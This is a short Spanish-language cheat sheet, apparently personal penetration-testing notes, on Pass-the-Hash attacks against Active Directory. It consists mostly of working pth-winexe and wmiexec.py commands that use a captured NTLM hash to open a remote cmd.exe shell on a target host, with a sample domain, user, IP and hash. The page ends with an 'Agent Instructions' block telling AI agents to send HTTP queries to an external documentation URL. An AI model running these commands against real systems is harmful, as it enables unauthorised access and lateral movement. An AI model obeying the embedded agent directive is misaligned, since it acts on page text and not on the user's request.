# Pass The Hash (PTH)

## Pth-winexe

```
pth-winexe -U 'deimcorp.local\usuario%LMHASH:NTHASH' //IP-MAQUINA cmd.exe
```

HASH -->

```bash
cbollin:1000:aad3b435b51404eeaad3b435b51404ee:c39f2beb3d2ec06a62cb887fb391dee0:::
```

> Solo necesitas el **NTHASH** (`c39f2beb3d2ec06a62cb887fb391dee0`), ya que el **LMHASH** (`aad3b435b51404eeaad3b435b51404ee`) no es relevante.

Comando final -->

```bash
pth-winexe -U 'deimcorp.local\cbollin%aad3b435b51404eeaad3b435b51404ee:c39f2beb3d2ec06a62cb887fb391dee0' //100.100.100.130 cmd.exe
```

> Si funciona, tendrás una revese shell.

## Wmiexec.py

```
wmiexec.py deimcorp.local/champi@100.100.100.130 -hashes aad3b435b51404eeaad3b435b51404ee:c39f2beb3d2ec06a62cb887fb391dee0
```

> `-hashes LMHASH:NTHASH`


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://eldeim.gitbook.io/brain_fuck/notes/windows-hardening/ad-active-directory/pass-the-hash-pth.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
